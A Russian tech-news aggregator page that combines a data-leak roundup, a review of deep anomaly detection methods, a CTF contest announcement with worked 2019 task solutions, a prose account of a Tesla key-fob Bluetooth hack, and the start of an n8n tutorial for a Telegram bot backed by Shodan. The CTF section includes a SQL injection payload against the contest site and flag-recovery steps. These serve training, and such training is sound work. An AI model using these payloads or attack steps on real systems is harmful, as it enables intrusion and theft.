Кто виноват:Утечку допустил сотрудник больницы им. Альберта Эйнштейна, который выложил на GitHub таблицу с именами пользователей, паролями и ключами доступа к системам Минздрава Бразилии. В ней также можно было найти имена, адреса, историю болезни и режимы приема лекарств. Как рассказал мужчина, он выгрузил данные для тестирования, а потом забыл их удалить. После инцидента чиновники поменяли пароли и ключи доступа к системам Минздрава. А что будет с горе-тестером, пока неизвестно.

У нас

Нет дыма есть утечка

Что случилось:В общий доступпопалархив на 1 Гб, содержащий 652 внутренних документа производителя систем нагревания табака IQOS. В них содержатся персданные клиентов, шаблоны презентаций и скрипты общения для менеджеров по продажам.

Кто виноват:Большая часть файлов имеет одного автора. По мнению, ИБ-исследователей, документы утекли с рабочего компьютера одного из сотрудников IQOS или были украдены с корпоративного файлового сервера. В любом случае имя владельца документов может послужить ключом к обнаружению источника утечки.

Тайный покупатель

Что случилось:Злоумышленниквзломалдевять учетных записей интернет-магазина и оформил заказы на товары за счет их владельцев. Дело прогорело из-за бдительной службы безопасности.

Кто виноват:Вором оказался житель Екатеринбурга. Логины и пароли от учеток он купил в Интернете. Мужчина изменил регистрационные данные в личных кабинетах и оформил несколько покупок, расплачиваясь чужими электронными деньгами. Благодаря ИБ-службе из девяти попыток сделать заказ покупателю удалась только одна. В восьми случаях служба безопасности блокировала заказ ее насторожило, что владелец аккаунта оформляет доставку в другой регион, не связанный с местом регистрации.

В итоге Кировский районный суд Екатеринбурга назначил вору штраф в 200 тыс. рублей.

Родственный жест

Что случилось:В Башкирии из микрокредитной компании ООО МКК КредитЪкаутеклиперсданные 44 заемщиков.

Кто виноват:Утечку обнаружили сотрудники прокуратуры во время плановой проверки организации. Выяснилось, что сотрудница КредитЪки отправила анкеты клиентов по email по просьбе родственника. Женщину не смутило, что эти сведения по закону являются коммерческой тайной. Возбуждено уголовное дело.

Подробнее..

Deep Anomaly Detection

30.11.2020 14:07:23 | Автор: admin

Детекция аномалий с помощью методов глубокого обучения

Выявление аномалий (или выбросов) в данных - задача, интересующая ученых и инженеров из разных областей науки и технологий. Хотя выявлением аномалий (объектов, подозрительно не похожих на основной массив данных) занимаются уже давно и первые алгоритмы были разработаны еще в 60-ых годах прошлого столетия, в этой области остается много неразрешенных вопросов и проблем, с которыми сталкиваются люди в таких сферах, как консалтинг, банковский скоринг, защита информации, финансовые операции и здравоохранение. В связи с бурным развитием алгоритмов глубоко обучения за последние несколько лет было предложено много современных подходов к решению данной проблемы для различных видов исследуемых данных, будь то изображения, записи с камер видеонаблюдений, табличные данные (о финансовых операциях) и др.

Глубокое обучение для детекции аномалий - Deep Anomaly Detection (DAD) - позволяет разрешить следующий ряд ограничений:

  • Неизвестность новых данных: т. к. аномалий - это объекты не похожие на все остальные, алгоритм должен быть способен генерализовать информацию об объекте с уже имеющейся информацией ранее полученных данных и определить отсутствие схожести, если таковое наблюдается

  • Гетерогенность разных классов объектов: непохожесть может быть разной

  • Редкость появление аномалий: имбаланс классов в обучении

  • Различные типы аномалий: одиночные объекты, обычные объекты, но в аномальных условиях, группы объектов (слишком плотный граф фейк-аккаунтов социальной сети)

При этом с точки зрения машинного обучения можно назвать следующие основные трудности в поставленной задаче:

  • Низкие значения precision метрики в задаче классификации на аномальный / нормальный (частое ложное срабатывание алгоритмов на нормальных данных)

  • Проблема больших размерностей данных

  • Отсутствие или недостаток размеченных данных

  • Неустойчивость алгоритмов к зашумленным объектам

  • Детекция аномалий целой группы объектов

  • Низкая интерпретируемость результатов

Категоризация подходов

В своей недавней статье [2] G. Pang приводит следующую классификацию существующих подходов для решения поставленной задачи.

рис. 1рис. 1

Автор разбивает все алгоритмы на три большие группы:

Deep learning for feature extraction - по сути раздельная задача получения нового домена признаков меньшего размера, чем исходный (при этом можно будет использовать предобученные модели из других задач глубокого обучения), и решение задачи классификации уже на данных нового домена с помощью классических методов детекции аномалий. Тут две части решения никак не связаны между собой и только первую часть можно отнести к DAD.
На рис.2 схематично показан пайплайн данного подхода. Сначала мы с помощью нейронной сети () : X Z переводим исходное признаковое пространство в пространство низкой размерности Z, а потом независимо делаем скоринг наличия аномалий классическими методами.

рис. 2. Deep learning for feature extractionрис. 2. Deep learning for feature extraction

Learning feature representation of normality - теперь нейросеть () : X Z является не независимым экстрактором новых признаков, а обучается вместе с скоринговой системой аномалий, то есть пространство Z будет формироваться с оглядкой на поставленную в конечном итоге задачу.

рис. 3. Learning feature representation of normalityрис. 3. Learning feature representation of normality

End-to-end anomaly score learning - end-to-end пайплайн, где нейронная сеть будет сразу предсказывать anomaly score.

рис. 4. End-to-end anomaly score learningрис. 4. End-to-end anomaly score learning

Далее рассмотрим каждую группы по отдельности, указывая уже конкретные методы глубокого обучения для решения задачи в сформулированных рамках.

Deep learning for feature extraction

Как уже отмечалось в этом подходе мы попытаемся уменьшить размерность входных данных. Можно было бы использовать стандартный методы, такие как PCA (principal component analysis) [3] или random projection [4], но для детекции аномалий необходимо сохранить семантическую составляющую каждого объекта, с чем отлично справятся нейронные сети. И в зависимости от типа данных можем выбрать предобученные модели MLP, если имеем дело с табличный данными,СNNs для работы с изображениями, RNNs для предобработки последовательных данных (видеоряд).
При этом основным плюсом такого подхода будет наличие предобученных моделей для почти любого типа данных, но при этом для нахождении anomaly score полученное признаковое пространство может быть далеко не оптимальным.

Learning feature representation of normality

Как видно из рис.1 этот тип можно разделить на два подтипа.

Generic Normality Feature Learning. Подходы в этом классе алгоритмов при преобразовании исходных признаков всё ещё используют функцию потерь не для детекции аномалий напрямую. Но генеративные модели здесь позволяют вычленить ключевую информацию о структуре объектов, тем самым способствуя самой детекции выбросов.

Математическое описание семейства алгоритмов


где - нейронная сеть для выделения структурной информации объекта, l - функция потерь, соответствующая выбранным , (конкретному подходу генеративных моделей), f - скоринговая функция аномалий.

Рассмотрим конкретные виды архитектур:

Автоэнкодеры
Для задачи DAD главная идея заключается в том, что нормальные данные будут легко реконструированы автоэнкодером, тогда как аномальный объект для модели будет восстановить сложно. [5]

Подробнее об алгоритме

Автоэнкодеры - архитектура нейронных сетей, позволяющая применять обучение без учителя, основной принцип которой получить на выходном слое отклик, наиболее близкий к входному.

где _e (.) - энкодер, преобразующий объекты в промежуточное пространство низкой размерности, _d (.) - декодер, пытающийся восстановить исходный объект. При этом s_x (data reconstruction error) будет играть роль меры аномальности.

Generative Adversarial Networks

Опредение подхода

GANs - это алгоритм машинного обучения без учителя, построенный на комбинации двух нейросетей с противоположными целями, где первая сеть (генератор G) генерирует образы, а другая (дискриминатор D) старается отличить правильные образы от неправильных.

здесь G и D - генератор и дискриминатор соответственно.

В конкретной задаче DAD генератор будет стараться найти в обученном латентном пространстве вектор, соответветствующий поступающему в него объекту. При этом делается предположение, что так как аномальный объект придет из другого распределения, система быстро различит выброс. AnoGAN [6].

Predictability Modeling. В этом семействе алгоритмов каждый элемент рассматривается как часть последовательности.

Формульное описание


x_(t +1) = ( (x1 , x2 , , xt ; ); W),
l_pred и l_adv - предсказательный и адверсариал лоссы, выступающие здесь в роли меры аномальности.

Предполагается, что нормальные данные будут предсказаны в последовательности с большей вероятностью, чем выбросы. Однако подход является вычислительно дорогим. [7]

Self-supervised Classification. Основная идея данного подхода в том, что на признаках исходных объектов решается задачи классификации (где новые признаки - это (n - 1) фичей, целевая переменная - оставшийся признак, и так для каждого признака). Тогда пришедший в обученную модель аномальный объект не будет подходить к построенным таким образом классификаторам. Заметим, что для такой постановки задачи размеченные данные будут и вовсе не обязательны.

Anomaly Measure-dependent Feature Learning.

Теперь будем обучать модель () : X Z, оптимизируясь уже на специальную функцию теперь аномальности.

Математическое описание


здесь l - функция потерь специальная для детекции аномалий.

Конкретные подходы в этом семействе:

  • Distance-based Measure. Оптимизируется конкретно по мерам, связанным с расстояниями: DB outliers [8], k-nearest neighbor distance [9] и др. При этом легко определить выброс - он не лежит в скоплении большого числа соседей, как это делают нормальные данные.

  • One-class Classification-based Measure. Предполагаем, что нормальные данные приходят из одного класса, который может быть описан одной моделью, когда как аномальный объект в этот класс на попадёт. Тут можно найти one-class SVM [10], Support Vector Data Description (SVDD) [11].

  • Clustering-based Measure. Классический подход детекции аномалий, где предполагается, что выбросы легко отделимы от кластеров в сформированном на обучающей выборке новом подпространстве [12].

End-to-end anomaly score learning

Из названия видим, что нейронная сеть будет теперь напрямую вычислять anomaly score.

Формульное описание

Семейство таких пайплайнов можно описать следующим образом:



где (x; ) : X R нейронная сеть, выдающая сразу скоринговую величину.

Ranking Models. Один из разновидностей end-to-end подхода. Здесь нейронная сеть сортирует все объекты по некоторой величине, ассоциирующейся у модели со степенью аномальности. Self-trained deep ordinal regression model [13].

Prior-driven Models. Основной подход - the Bayesian inverse RL-based sequential anomaly detection. Здесь основная идея - агент получает на вход последовательность данных, и его нормальное поведение рассматривается как получение вознаграждения. В случае же аномальных данных агент получит слабое вознаграждение за последовательность [14].

Softmax Models. В данных архитектурах модели обучаются, максимизируя функцию правдоподобия нормального объекта из входных данных. При этом предполагается, что выброс будет иметь низкую вероятность в качетсве события.

Deviation Networks (end-to-end pipeline) [1]

Как на одном из наиболее актуальных подходов остановимся отдельно на архитектуре, предложенной G. Pang для обнаружения выбросов в задаче, где предполагается наличие лишь небольшого набора размеченных аномальных данных и большого массива неразмеченных объектов. На рис.5 представлена архитектура модели.

рис. 5рис. 5

здесь function - anomaly scoring network, которая будет в качестве выхода отдавать предсказанные значения меры аномальности. Reference score generator - генератор референсных величин той же меры, полученных сэмплированием для случайных объектов неразмеченного сета (принимаемого за нормальный). Далее обе величины (предсказанная (x; ) и референсная _R) отправляются в deviation loss function L, целью которой будет заставить anomaly scoring network для нормальных объектов выдавать значения, близкие к референсным, и сильно отличные от референсных для аномальных.

Объяснение работы deviation loss function


где y = 1, если объект является аномальным, y = 0 иначе. При этом из функции потерь можно заметить, что в процессе оптимизации модель будет стараться приблизить значения anomaly score к референсному у нормальных объектах, тогда как для аномальных будет заставлять предсказательную сеть выдавать такие значения (x; ), чтобы dev(x) было положительным, а значит, будет устремлять его к "a" (заранее заданной достаточно большой положительной величиной). Тем самым модель обучится четко разделять аномальные и нормальные объекты.

Заключение

В качестве заключения стоит отметить, что для тех или иных условий, в которых предполагается решать задачу выявления аномальных объектов подходят совершенно разные архитектуру и идеи решения. В каждом из рассмотренных типов есть свои SOTA-подходы. Хотя за последние несколько лет всё больше и больше популярность набирают именно end-to-end алгоритмы.

Ссылки на литературу

[1] Deep Anomaly Detection with Deviation Networks. G. Pang
[2] Deep Learning for Anomaly Detection: A Review. G. Pang
[3] Emmanuel J Cands, Xiaodong Li, Yi Ma, and John Wright. 2011. Robust principal component analysis?
[4] Ping Li, Trevor J Hastie, and Kenneth W Church. 2006. Very sparse random projections.
[5] Alireza Makhzani and Brendan Frey. 2014. K-sparse autoencoders. In ICLR.
[6] Thomas Schlegl, Philipp Seebck, Sebastian M Waldstein, Ursula Schmidt-Erfurth, and Georg Langs. 2017. Unsupervised anomaly detection with generative adversarial networks to guide marker discovery.
[7] Wen Liu, Weixin Luo, Dongze Lian, and Shenghua Gao. 2018. Future frame prediction for anomaly detectiona new baseline.
[8] Edwin M Knorr and Raymond T Ng. 1999. Finding intensional knowledge of distance-based outliers.[9] Fabrizio Angiulli and Clara Pizzuti. 2002. Fast outlier detection in high dimensional spaces.
[10] Bernhard Schlkopf, John C Platt, John Shawe-Taylor, Alex J Smola, and Robert C Williamson. 2001. Estimating the support of a high-dimensional distribution.
[11] David MJ Tax and Robert PW Duin. 2004. Support vector data description.
[12] Mathilde Caron, Piotr Bojanowski, Armand Joulin, and Matthijs Douze. 2018. Deep clustering for unsupervised learning of visual features.
[13] Guansong Pang, Cheng Yan, Chunhua Shen, Anton van den Hengel, and Xiao Bai. 2020. Self-trained Deep Ordinal Regression for End-to-End Video Anomaly Detection.
[14] Andrew Y Ng and Stuart J Russell. 2000. Algorithms for Inverse Reinforcement Learning.

Подробнее..

CTF-соревнования 2020 для белых хакеров. Старт регистрации участников

30.11.2020 16:22:04 | Автор: admin




В декабре OTUS при поддержке VolgaCTF и СTF.Moscow приглашает всех, кому близко направление ИБ, на онлайн-соревнования по поиску уязвимостей. Узнать подробнее и зарегистрироваться можно здесь. А пока рассказываем подробнее про формат и участие, а также вспоминаем, как прошло мероприятие в 2019 году.




Формат


Аббревиатура CTF расшифровывается как Capture the flag, захват флага. Существует 2 формата таких соревнований:

  1. Attack-defense, где команды получают свой сервер или сеть и должны обеспечивать их функционирование. Задача набрать как можно больше очков за защиту или украденную информацию (флаги) у команд-противников.
  2. Task-based, где каждый участник получает набор заданий и за отведенное время должен прислать решения. Ответ, он же флаг, может быть набором символов или фразой
.

Наши CTF-соревнования организованы в формате task-based.

Как это было в прошлом году?


В 2019 году участие приняло 217 человек. Участникам предстояло решить 9 заданий по три в каждом направлении: реверс-инжиниринг, пентест и безопасность Linux. На выполнение отводилось 5 часов.

У задач разный уровень сложности и, соответственно, стоимость в баллах. В прошлый раз только 40% из присланных ответов были засчитаны. Приводим примеры решения прошлогодних задач:

1. Реверс-инжиниринг


Задачи на декомпиляцию кода, восстановление логики программ, пользуясь исключительно низкоуровневым кодом, исследование работы мобильных приложений.

пример задания

Название: Bin
Баллы: 200

Описание:
В этот раз нам попался бинарный файл. Задача все та же, достать секретный пароль.
Вложение: task

Решение:
Дан бинарный файл. Загружаем в дизассемблер и видим шесть функций проверки, написанных на С++.

Они выполнены идентично и вызываются друг в друге, проверяя флаг по кусочкам из 5 элементов.

Поэтапно восстанавливаем с помощью информации из дизассемблера. Получаем флаг частями:

0) проверка длины
1) flag{
2) feefa
3) _172a
4) k14sc
5) _eee}

Объединяем и получаем флаг:

flag{feefa_172ak14sc_eee}


2. Пентест


Участники ищут уязвимости веб-сайтов методами тестирования на проникновение.

пример задания

Название: Databases
Баллы: 100

Описание: Сайт активно использует базы данных. Попробуй провести SQL-инъекции.
Ссылка на сайт: 193.41.142.9:8001/shop/login

Решение:
Идем в основной раздел магазина /shop/products/, потыкав в поле поиска, обнаруживаем sql-инъекцию.

Вводим 1" OR 1 = 1 , листаем вниз и видим отсутствовавший ранее товар, флаг находится в его описании.

Flag: flag{5ql_1nject10n_15_t00_51mpl3_f0r_y0u}


3. Безопасность Linux + безопасность разработки


Задачи направлены на проверку корректности конфигурации серверов и поиск ошибок в разработке ПО.

пример задания

Название: Algo
Баллы: 50

Описание: У нас новая задача. Провести проверку safe development. Заказчик предоставил архив с открытой частью разрабатываемого сайта. Для проверки своего алгоритма хеширования он предоставил хеш: 666c61677b32646733326473323334327d. Проверь алгоритм на возможность обратного преобразования.

В архиве содержится исходный код части сайта.
Ссылка на сайт: 193.41.142.9:8002/
Вложение: task.7z

Решение:
В исходных кодах есть алгоритм хеширования паролей. На самом деле, это не алгоритм хеширования, а просто преобразование данных из строкового формата в шестнадцатеричный.

Используем Python:

import binascii binascii.unhexlify(666c61677b32646733326473323334327d)

Получаем флаг: flag{2dg32ds2342}


Посмотреть все задачи CTF-2019 вы можете здесь.

Что будет в этом году?


Мы добавили 4-ю дисциплину Безопасность веб-приложений. За 6 часов участникам предстоит решить 12 заданий по 3 в каждом направлении.

Сроки и призы


Соревнование пройдет 5 декабря с 10 до 16. В каждой из категорий: реверс-инжиниринг, пентест, безопасность Linux и безопасность веб-приложений определяются свои победители.

Регистрация открыта до 4 декабря до 19:45

Главные призы бесплатное обучение в OTUS на курсах по ИБ достанутся тем, кто первым решит правильно все 3 задачи в одной из категорий. Тех, кто займет вторые и третьи места, ждут эксклюзивные скидки на обучение. И конечно, все участники получат новые знания, удовольствие от решения задач и бонусную скидку 10%.

8 и 10 декабря организаторы и преподаватели проведут специальные вебинары, где подведут итоги, разберут решения задач, а также расскажут подробнее о наших курсах.

Кто может стать участником CTF-соревнования?


Мероприятие открыто для каждого, кто в той или иной степени интересуется информационной безопасностью.

Хотите узнать больше? Тогда ждем вас на вводном вебинаре 3 декабря в 20:00, где мы расскажем обо всех условиях проведения и ответим на ваши вопросы. Записывайтесь, чтобы не пропустить трансляцию.
Подробнее..

Security Week 49 взлом Tesla через Bluetooth

30.11.2020 18:20:43 | Автор: admin
Исследователь Леннерт Вютерс (Lennert Wouters) из Лёвенского католического университета нашел красивый способ угона Tesla Model X через переписывание прошивки фирменного ключа к автомобилю. На фото ниже показано устройство для взлома, состоящего из батареи, компьютера Raspberry Pi и бортового компьютера Tesla, купленного на разборке. Себестоимость комплекта около 300 долларов. Для успешной атаки (достаточно нетривиальной) придется приблизиться к владельцу автомобиля с ключом в кармане, а также заранее переписать VIN.


По словам исследователя, проблема заключается в некорректной реализации достаточно защищенного протокола связи между брелком и бортовым компьютером Model X. Прежде всего, прошивку ключа можно обновлять по Bluetooth, причем валидность кода никак не проверяется. Правда, и сам режим обновления прошивки нестандартный, и для его активации Вютерсу как раз и понадобился подменный бортовой модуль Tesla.



Обычно модуль Bluetooth активируется в ключе Tesla только после смены батарейки. Вютерс обнаружил, что беспроводную связь также можно включить из автомобиля за это отвечает устройство Body Control Module. Такое удалось найти на eBay: там они продаются по 50100 долларов. Следующая ошибка реализации протокол связи, в котором подлинность сигнала от Body Control Module удостоверяется кодом на основе пяти последних цифр VIN-номера. А вот его можно просто подсмотреть: он, как у почти всех автомобилей, виден под лобовым стеклом.

Следующий этап: после подключения к брелку нужно переписать его прошивку. Она, в свою очередь, позволяет вытащить секретный ключ из аппаратного хранилища. Этот ключ позволяет атакующему открыть автомобиль. Но и только. Завести машину и уехать не получится. Для этого нужно, уже находясь в автомобиле, подключиться к CAN-шине и заставить встроенный Body Control Module прописать брелок злоумышленника как доверенный.

В итоге получилась очень красивая и достаточно сложная атака, драматическая версия которой показана в видеоролике выше. Вютерс отмечает, что уязвимости ключей от Tesla мало чем отличаются от таковых в машинах других производителей, просто электрокары Илона Маска интереснее взламывать.

Описанный сценарий крайне далек от ночного кошмара для производителя постоянно подключенного к сети автомобиля полной компрометации систем безопасности в удаленном режиме. Здесь и за владельцем последить придется, и в машине поковыряться перед угоном. Зато та самая компьютеризация Tesla, и конкретно возможность обновления прошивки ключа по воздуху, пошла на пользу при исправлении багов. В похожей ситуации другому владельцу пришлось бы добираться до сервиса, чтобы перепрошить брелок. Здесь же уязвимость закрылась просто: обновление прилетело по воздуху в автомобиль, а от него уже автоматически были прошиты брелки.

Что еще произошло:

В среду произошел серьезный сбой в облачной инфраструктуре Amazon Web Services. В течение нескольких часов был недоступен кластер US-EAST-1, что привело к многочисленным перебоям в работе сетевых сервисов, включая IoT-устройства, такие как пылесосы Roomba и умные звонки Amazon Ring. В подробном описании инцидента раскрывается причина: были случайно превышены ограничения ОС по количеству потоков выполнения. Перезагружать пострадавшие серверы пришлось вручную.

Критическая уязвимость (новость, бюллетень) в ряде корпоративных продуктов VMware пока не пропатчили, но поделились временным решением, которое не даст злоумышленнику выполнять команды удаленно.

Еще одну критическую уязвимость в системе менеджмента мобильных устройств MobileIron активно эксплуатируют злоумышленники.
Подробнее..

N8n. Автоматизация ИБ со вкусом смузи

01.12.2020 10:20:26 | Автор: admin
Всем давно очевидна польза тотальной автоматизации, в том числе, и в области информационной безопасности. В условиях большого кадрового дефицита как никогда актуальна идея снятия рутинной рабочей нагрузки как со специалиста по информационной безопасности, так и со специалистов в других областях.

В компаниях, где отлажены процессы ИБ, а также в центрах реагирования и мониторинга используется ПО, позволяющее автоматизировать принятия решений по возникающим инцидентам, но даже при этом многим до сих пор приходится писать скрипты для автоматизации рутинных операций. Что делать, если автоматизировать рутину вам хочется, но не хочется покупать дорогостоящее специализированное решение, разбираться с ним и потом долго настраивать его под свои нужды? А еще больше не хочется изобретать велосипед со скриптами и делать нечто свое, попутно изучая программирование и работу с БД?

Источник

TL;DR: Telegram, REST API, Shodan, DNS-over-HTTPS. Пишем бота в Telegram для парсинга инфы с shodan и поиска эксплойтов на exploit-db. Находим баг в работе n8n.

Ответ есть добро пожаловать во фронтенд со смузи и гироскутерами.

Источник

Как всегда, в поиске верного решения нам поможет волшебно-бесплатный мир open source. Мы в "ЛАНИТ-Интеграции" рассмотрели несколько решений подобного типа и выбрали среди них наиболее универсальное. Давайте разбираться, как работает и что умеет решение для гибкой автоматизации workflow n8n.

n8n это просто конструктор, набор ингредиентов для приготовления. Цель n8n помочь обычному человеку в выполнении его рутинных рабочих процессов (workflow), интегрируя в единый оркестр целое множество различных сервисов и скриптов сущностей. Это совсем не похоже на программирование. Но чтобы сделать по-настоящему мощный комбайн автоматизации под свои нужды, желательно иметь опыт программирования уровня Pascal в школе, навыки поиска и копирования кода со stackoverflow и хотя бы обзорное представление о работе Webа (frontend это просто!). n8n поможет приготовить чашку кофе в кофеварке прямо по команде из любимого Telegram.

n8n выполняет роль серверной части процессов автоматизации, этакий клей между различными сущностями (скрипты, файлы, мессенджеры, веб-сайты, системы отчетности, CRM-системы, системы IP-телефонии, системы мониторинга то есть практически все). Он помогает связать любое приложение с API и без него с любым другим приложением, при этом можно реализовать практически любую логику. Но самое главное он имеет возможность реализации собственной логики путем программирования на JavaScript и возможность запуска скриптов на сервере. Настройка workflow интуитивна и проста в моднейшем веб-интерфейсе, рабочий процесс очень прост в настройке. Взаимосвязи между сущностями и n8n реализуются с помощью различных архитектурных концепций, основной из которых является REST API. Данные могут поступать в различных форматах, для REST API обычно используются JSON/XML. Так как это open source, можно написать свой собственный компонент n8n или скрипт на любом языке. n8n это отличный выбор для тех, кто только хочет познакомиться с автоматизацией.

Поскольку обзор возможностей решения это немного скучно и очень длинно, вы можете самостоятельно изучить туториалы, посмотреть варианты интеграций и изучить примеры workflow для того, чтобы почерпнуть несколько идей. Еще есть отличные статьи с примерами на medium и хорошая статья по установке в блоге LogRocket. Для старта вполне достаточно. Статья у нас будет техническая, чтобы показать случайно взятый пример автоматизации, минимум теории и максимум практики. Данное решение надо трогать руками, так что объяснений тоже будет минимум.

Идея


Многие слышали про OSINT и пользовались разнообразными инструментами для сбора информации о ресурсах в целях инструментальной оценки их защищенности. Все пользовались мобильными приложениями с простым и понятным интерфейсом. Показалось интересным скрестить простой интерфейс Telegram со сложными инструментами типа Shodan и masscan, заодно проверив, чего стоит n8n в деле автоматизации. Это было первое, что пришло в голову после знакомства с n8n, и необходимо было выяснить, как он справится с этой задачей.

Цель продемонстрировать процесс автоматизации случайно выбранной предметной области путем написания простейшего бота для Telegram, который по информации от shodan может получить список возможных уязвимостей/эксплоитов по IP/URL. Для этого необходимо реализовать получение информации об открытых портах, сервисах на этих портах и возможных эксплоитов для данных сервисов. Полученную информацию в дальнейшем необходимо будет валидировать вручную, это выходит за рамки данной статьи.

Установка


n8n написан на Node.JS, может работать как на Windows, так и на Linux. Всю информацию о рабочих процессах он хранит локально в БД SQLite. Может быть развернут как в докер-контейнере, так и прямо на хосте. Рассмотрим вариант установки прямо на хост Linux, для простоты. Есть опыт установки на CentOS 8.2 и Ubuntu 20.40 Desktop, отличия в установке минимальны.

Установка необходимых пакетов:

sudo apt-get install nodejs npm build-essential python y

Установка поддержки БД:

sudo npm install sqlite3 --save

Установка n8n глобально на хост:

sudo npm install n8n -g

Запуск n8n с параметром --tunnel:

n8n start --tunnel

Параметр --tunnel нужен для правильной работы веб-хуков если на сервере отсутствует адрес, доступный из сети Интернет.

После запуска видим адрес, по которому доступен редактор, http://localhost:5678/, если доступ будет с другой машины в сети, то вместо localhost используем IP-адрес (не забыв открыть порт 5678 на файрволе).


Для быстрого старта необходимо ознакомиться с этим разделом документации, она очень простая. После создания пустого workflow у нас есть не удаляемая стартовая нода. Нода это единичный блок в рабочем процессе. Рабочий процесс начинается либо со стартовой ноды при запуске workflow, либо с триггера, в случае если процесс активный и пришло сообщение от внешней системы (API, скрипт на хосте). Триггер получает тем или иным способом информацию о событии от внешней системы и обрабатывает ее. Ноды взаимодействуют между собой с помощью соединений. Нода может иметь несколько соединений с другими нодами. Нода производит все действия с информацией получение, обработку/изменение, вывод во внешние системы. Полный перечень нод есть в документации. На этом краткий обзор закончим, перейдем к практике.

Создание бота в Telegram


Создание ботов Telegram очень интересный процесс. Бот зачастую выступает шлюзом для удобного получения любой информации. Однако создание серверной части бота Telegram требует знаний и опыта работы с Telegram API, что может быть сложной задачей, если у вас нет времени или желания вникать. Использование таких решений без кода, как n8n, позволит эффективно создавать внутреннюю логику работы ботов без необходимости углубляться в механику.

Про создание ботов в telegram написано огромное количество материалов. Опираемся на официальную документацию и на вот эту статью по созданию telegram бота для n8n. С помощью бота BotFather создаем своего бота, получаем его токен. Добавляем несколько команд и их описание:

hostinfo - <IP/URL> Show host info from Shodan

scan - <127.0.0.1> Show output of masscan for some open ports. Please, be patient..

whatweb - <URL> Show whatweb output

exploit - <name> Show searchsploit output


Для удобства работы с ботом создаем группу, куда добавляем бота и сохраняем id группы для дальнейшей настройки.

Создание первого workflow


Запускаем n8n в режиме --tunnel, для корректного получения обновления от серверов telegram. При первом запуске в веб-интерфейсе видим пустой лист с одной лишь нодой Start. Добавляем на лист триггер telegram, в настройках забиваем Credentials (токен доступа, полученный ранее). В Updates выбираем либо *, либо Message. Так как это триггер, его не нужно соединять со стартовой нодой.


Сохраняем workflow и делаем его активным с помощью переключателя в верхнем правом углу. Нажимаем Execute Workflow и пишем что-либо в окно чата с ботом. Видим, что статус Waiting for webhook call.. меняется на Execute Workflow. На ноде триггера появляется зеленый круг, сигнализирующий об успешном выполнении триггера. В свойствах триггера видим результат полученное сообщение об обновлении в формате JSON с содержанием сообщения и кучей полей.


Далее добавляем на поле ноду Switch, которая отвечает за обработку команды, полученной от бота. Соединяем ее линией с триггером Telegram. В свойствах ноды Switch видим простейший выбор из 4-х вариантов. Выбираем Mode Rules, Data Type string, в Value после нажатия на шестеренку выбираем Add Expression и видим следующее окно:


Проваливаемся по списку входных данных Current Node -> Input Data -> JSON -> message -> text для выбора содержимого сообщения. В нижней части результат Expression содержимое нашего сообщения. Закрываем окно, в настройках Switch добавляем правило роутинга, сообщение должно содержать первую команду host. Выбираем выход 0 для дальнейшей ветки обработки. Для четырех команд бота у нас должно быть четыре правила роутинга. Получился вот такой workflow:


В дальнейшем не будем расписывать настолько подробно, механика создания workflow действительно очень проста. В ходе работ не забываем сохраняться.

У любого workflow есть два варианта работы testing (при нажатии на кнопку Execute Workflow) и production когда активен переключатель Active в верхнем правом углу. В тестовом варианте работы workflow выполняется только один раз, в варианте работы production он работает постоянно и запускается при старте сервиса n8n. В тестовом режиме мы можем видеть данные для обработки в веб-интерфейсе n8n, в отличие от режима production.

Перечень активных процессов можно увидеть через меню, выбрать пункт Open:


Как я нашел баг


Немного отвлечемся от процесса создания нашего workflow и углубимся во внутренности работы триггера telegram. В данном случае для получения обновлений от API Telegram используется механизм веб-хуков. В отличие от традиционного метода обмена информацией по протоколу HTTP запрос ответ, механизм веб-хуков работает асинхронно. Заключается он в том, что серверу n8n необходимо зарегистрироваться на сервере Telegram с указанием URL-адреса, на котором он будет получать HTTPS-запрос POST, содержащий сериализованное обновление в формате JSON. Регистрация производится методом setWebhook при переводе workflow в активный режим либо при тестовом прогоне workflow. В этот момент сервер n8n отправляет с помощью запроса setWebhook свой URL-адрес для интеграции с API Telegram с целью получения обновлений. В момент остановки сервиса либо в момент окончания тестового процесса производится удаление интеграции с веб-хуком для того, чтобы уведомить API Telegram о том, что никто не сможет принять запросы об обновлении.

Так как в условиях тестирования у нас нет общедоступного URL-адреса для веб-хука, нам нужно его получить при помощи утилиты localtunnel. Для этого как раз при запуске мы указывали параметр tunnel. Полученный URL мы видим в консоли, он же и отправляется API Telegram для обработки обновлений. URL генерируется динамически, и на каждый запуск сервиса он разный.

Все началось с того, что я заметил странную работу триггера Telegram при остановке и последующем запуске сервиса не приходили обновления от бота. Они приходили, если еще раз сделать workflow активным. Я еще раз изучил API Telegram и воспользовался методом getWebhookInfo для просмотра текущего URL веб-перехватчика. Оказалось, что после остановки сервиса n8n на хосте не производится отмена регистрации старого URL-адреса. Также при новом запуске сервиса не производится установка нового URL. Баг был отправлен разработчику, подтвержден и был исправлен в релизе n8n@0.79.3.

Получаем информацию от Shodan


В качестве примера давайте получим данные о хосте от широко известного в узких кругах поисковика Shodan. У него есть REST API, а у нас есть желание упростить себе жизнь в части инструментального анализа уязвимостей, получая информацию прямо в чат (или куда-то еще). Для этого нам необходимо зарегистрироваться и получить API -ключ для Shodan в настройках нашего аккаунта.

В любом случае перед тем, как делать любой workflow, необходимо ответить себе на вопросы: что он будет делать, как он будет это делать, что потребуется для этого. В идеале рекомендую нарисовать простую блок-схему процесса на листке бумаги, чтобы было легче.

Но так мы уже определились с целями, то приступим к реализации.


Формат нашей команды /host example.com, где первая часть это команда, вторая часть IP или корневой URL. Так как API Shodan выдает нам информацию только по IP-адресу, корневой URL переводить в IP мы будем с помощью новой технологии DoH в реализации Google. Можно сделать это множеством способов, но используем этот модный и стильный способ взаимодействия с DNS. Получаем IP-адрес и через Shodan API получаем и обрабатываем информацию, отправляя выжимку из нее в тот же чат в telegram. Звучит все просто. Для начала нам нужно знать, что подали на вход команды IP или URL. JavaScript, функции на котором можно легко писать прямо в интерфейсе n8n, нам в этом поможет. Для этого добавим ноду типа Function и соединим ее с нодой sw_cmd.

Сейчас будет немного программирования, это просто. Просто, потому что n8n позволяет нам писать код на JS, который имеет порог вхождения где-то около нуля и позволяет делать магию.


Источник

Ищем, как отличить IP от URL и на stackoverflow находим нужное регулярное выражение. Пишем код в ноде func_isIP:

